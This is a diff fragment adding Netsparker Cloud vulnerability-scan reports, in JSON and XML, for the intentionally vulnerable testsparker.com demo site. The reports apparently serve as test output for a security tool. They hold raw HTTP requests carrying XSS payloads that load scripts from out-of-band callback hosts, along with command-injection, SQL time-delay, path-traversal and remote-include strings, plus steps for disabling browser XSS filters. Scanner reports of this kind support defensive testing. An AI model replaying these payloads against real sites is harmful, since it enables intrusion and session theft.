SRI does this using hash comparison mechanism. In this way, hash value declared in HTML elements (for now only script and link elements are supported) will be compared with the hash value of the resource hosted by third party.

Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source.

","Impact":"","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

Using Subresource Integrity is simply to add integrity attribute to the script tag along with a base64 encoded cryptographic hash value.

<script src=\"https://code.jquery.com/jquery-2.1.4.min.js\" integrity=\"sha384-R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC\" crossorigin=\"anonymous\"></script>

The hash algorithm must be one of sha256, sha384 or sha512, followed by a '-' character.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Guestbook.aspx","Type":"BlindXss","Name":"Blind Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /Guestbook.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Guestbook.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 747\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTcyOTkwODg4OWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZAruT1blam7mB%2fLtIdcschEbsbrJlcXssfmgtJIgNayT&__VIEWSTATEGENERATOR=6A214E5C&__EVENTVALIDATION=%2fwEdAASApMCupCna%2bbjIhLK1W1SDI%2foqH5W8nwddvXbOb89nboRRxu%2bXZf3rY6ObGG211OtbGuvuwsbcCvEAnaQ59fPXZHGYgvV1DPGfxQUkqa%2fX8li3DLbqKMkmZ950XD5KRvQ%3d&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtName=http%3a%2f%2fwww.example.com&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24btnSubmit=Submit&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtComment=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2fo010_rdnxuyxu6wcpjooz4mnnuqtw7dd7jdxjfu_nme%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTcyOTkwODg4OWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZAruT1blam7mB/LtIdcschEbsbrJlcXssfmgtJIgNayT","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6A214E5C","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASApMCupCna+bjIhLK1W1SDI/oqH5W8nwddvXbOb89nboRRxu+XZf3rY6ObGG211OtbGuvuwsbcCvEAnaQ59fPXZHGYgvV1DPGfxQUkqa/X8li3DLbqKMkmZ950XD5KRvQ=","Vulnerable":false},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtName","Type":"Post","Value":"http://www.example.com","Vulnerable":false},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24btnSubmit","Type":"Post","Value":"Submit","Vulnerable":false},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtComment","Type":"Post","Value":"'\"-->","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":93.755800000000008,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5680\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:08:41 GMT\r\nCache-Control: private\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected cross-site scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

","Impact":"
There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Guestbook.aspx","Type":"BlindXss","Name":"Blind Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /Guestbook.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Guestbook.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 725\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTcyOTkwODg4OWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZAruT1blam7mB%2fLtIdcschEbsbrJlcXssfmgtJIgNayT&__VIEWSTATEGENERATOR=6A214E5C&__EVENTVALIDATION=%2fwEdAASApMCupCna%2bbjIhLK1W1SDI%2foqH5W8nwddvXbOb89nboRRxu%2bXZf3rY6ObGG211OtbGuvuwsbcCvEAnaQ59fPXZHGYgvV1DPGfxQUkqa%2fX8li3DLbqKMkmZ950XD5KRvQ%3d&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtName=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2fo010_rdnxuytzhxip1zdszwqbgimdciwp664ju1galk%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24btnSubmit=Submit&ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtComment=%0d%0a","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTcyOTkwODg4OWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZAruT1blam7mB/LtIdcschEbsbrJlcXssfmgtJIgNayT","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6A214E5C","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASApMCupCna+bjIhLK1W1SDI/oqH5W8nwddvXbOb89nboRRxu+XZf3rY6ObGG211OtbGuvuwsbcCvEAnaQ59fPXZHGYgvV1DPGfxQUkqa/X8li3DLbqKMkmZ950XD5KRvQ=","Vulnerable":false},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtName","Type":"Post","Value":"'\"-->","Vulnerable":true},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24btnSubmit","Type":"Post","Value":"Submit","Vulnerable":false},{"Name":"ctl00%24contentTop%24guestbookPermenantCrossSiteScripting%24txtComment","Type":"Post","Value":"\r\n","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":93.7493,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5680\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:08:01 GMT\r\nCache-Control: private\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected cross-site scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

","Impact":"
There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"CspNotImplemented","Name":"Content Security Policy (CSP) Not Implemented","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":187.5028,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; path=/; HttpOnly\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

CSP is an added layer of security that helps to mitigate mainly Cross-site Scripting attacks.

\n

CSP can be enabled instructing the browser with a Content-Security-Policy directive in a response header;

\n
 Content-Security-Policy: script-src 'self';
\n

or in a meta tag;

\n
<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self';\"> 
\n

In the above example, you can restrict script loading only to the same domain. It will also restrict inline script executions both in the element attributes and the event handlers. There are various directives which you can use by declaring CSP:

\n
    \n
  • script-src: Restricts the script loading resources to the ones you declared. By default, it disables inline script executions unless you permit to the evaluation functions and inline scripts by the unsafe-eval and unsafe-inline keywords.
  • \n
  • base-uri: Base element is used to resolve relative URL to absolute one. By using this CSP directive, you can define all possible URLs which could be assigned to base-href attribute of the document.
  • \n
  • frame-ancestors: It is very similar to X-Frame-Options HTTP header. It defines the URLs by which the page can be loaded in an iframe.
  • \n
  • frame-src / child-src: frame-src is the deprecated version of child-src. Both define the sources that can be loaded by iframe in the page. (Please note that frame-src was brought back in CSP 3)
  • \n
  • object-src : Defines the resources that can be loaded by embedding such as Flash files, Java Applets.
  • \n
  • img-src: As its name implies, it defines the resources where the images can be loaded from.
  • \n
  • connect-src: Defines the whitelisted targets for XMLHttpRequest and WebSocket objects.
  • \n
  • default-src: It is a fallback for the directives that mostly ends with -src suffix. When the directives below are not defined, the value set to default-src will be used instead:\n
      \n
    • child-src
    • \n
    • connect-src
    • \n
    • font-src
    • \n
    • img-src
    • \n
    • manifest-src
    • \n
    • media-src
    • \n
    • object-src
    • \n
    • script-src
    • \n
    • style-src
    • \n
    \n
  • \n
\n

When setting the CSP directives, you can also use some CSP keywords:

\n
    \n
  • none: Denies loading resources from anywhere.
  • \n
  • self : Points to the document's URL (domain + port).
  • \n
  • unsafe-inline: Permits running inline scripts.
  • \n
  • unsafe-eval: Permits execution of evaluation functions such as eval().
  • \n
\n

In addition to CSP keywords, you can also use wildcard or only a scheme when defining whitelist URLs for the points. Wildcard can be used for subdomain and port portions of the URLs:

\n
Content-Security-Policy: script-src https://*.example.com;
\n
Content-Security-Policy: script-src https://example.com:*;
\n
Content-Security-Policy: script-src https;
\n

It is also possible to set a CSP in Report-Only mode instead of forcing it immediately in the migration period. Thus you can see the violations of the CSP policy in the current state of your web site while migrating to CSP:

\n
Content-Security-Policy-Report-Only: script-src 'self'; report-uri: https://example.com;
","Impact":"

There is no direct impact of not implementing CSP on your website. However, if your website is vulnerable to a Cross-site Scripting attack CSP can prevent successful exploitation of that vulnerability. By not implementing CSP you’ll be missing out this extra layer of security.

","RemedialActions":"
    \n
  • Enable CSP on your website by sending the Content-Security-Policy in HTTP response headers that instruct the browser to apply the policies you specified.
  • \n
  • Apply the whitelist and policies as strict as possible.
  • \n
  • Rescan your application to see if Netsparker Cloud identifies any weaknesses in your policies.
  • \n
","ExploitationSkills":"","RemedialProcedure":"

Enable CSP on your website by sending the Content-Security-Policy in HTTP response headers that instruct the browser to apply the policies you specified.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""}]} \ No newline at end of file diff --git a/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.xml b/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.xml new file mode 100644 index 0000000000..99d1de97e6 --- /dev/null +++ b/sechub-other/testoutput/testsparker.com-Vulnerabilities-23_08_2017 10_23.xml @@ -0,0 +1,80447 @@ + + + + 77093cedf46442f90df2a7d802161177 + http://testsparker.com/ + 23/08/2017 09:43 + 00:37:27.5225347 + + + + http://testsparker.com/About.aspx?hello=&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x004207)%3C/scRipt%3E + Xss + Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + + + + + + 200 + 1625,0021 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + + +

About

+

+ Hello + '"--> +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

]]>
+ There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + + The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.]]> + ]]> + ]]> +

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:config in the URL address bar.
  • In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
  • Set its value to false by double clicking the row.
]]>
+
+ + http://testsparker.com/About.aspx?hello=&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x001376)%3C/scRipt%3E + Xss + Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 200 + 94,13 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + + +

About

+

+ Hello + '"--> +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

]]>
+ There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + + The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.]]> + ]]> + ]]> +

Generated XSS exploit might not work due to browser XSS filtering. Please follow the guidelines below in order to disable XSS filtering for different browsers. Also note that;

  • XSS filtering is a feature that's enabled by default in some of the modern browsers. It should only be disabled temporarily to test exploits and should be reverted back if the browser is actively used other than testing purposes.
  • Even though browsers have certain checks to prevent Cross-site scripting attacks in practice there are a variety of ways to bypass this mechanism therefore a web application should not rely on this kind of client-side browser checks.

Chrome

  • Open command prompt.
  • Go to folder where chrome.exe is located.
  • Run the command chrome.exe --args --disable-xss-auditor

Internet Explorer

  • Click Tools->Internet Options and then navigate to the Security Tab.
  • Click Custom level and scroll towards the bottom where you will find that Enable XSS filter is currently Enabled.
  • Set it to disabled. Click OK.
  • Click Yes to accept the warning followed by Apply.

Firefox

  • Go to about:config in the URL address bar.
  • In the search field, type urlbar.filter and find browser.urlbar.filter.javascript.
  • Set its value to false by double clicking the row.
]]>
+
+ + http://testsparker.com/GuestbookList.aspx/etc/passwd + PermanentXss + Stored Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 200 + 1872,1532 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

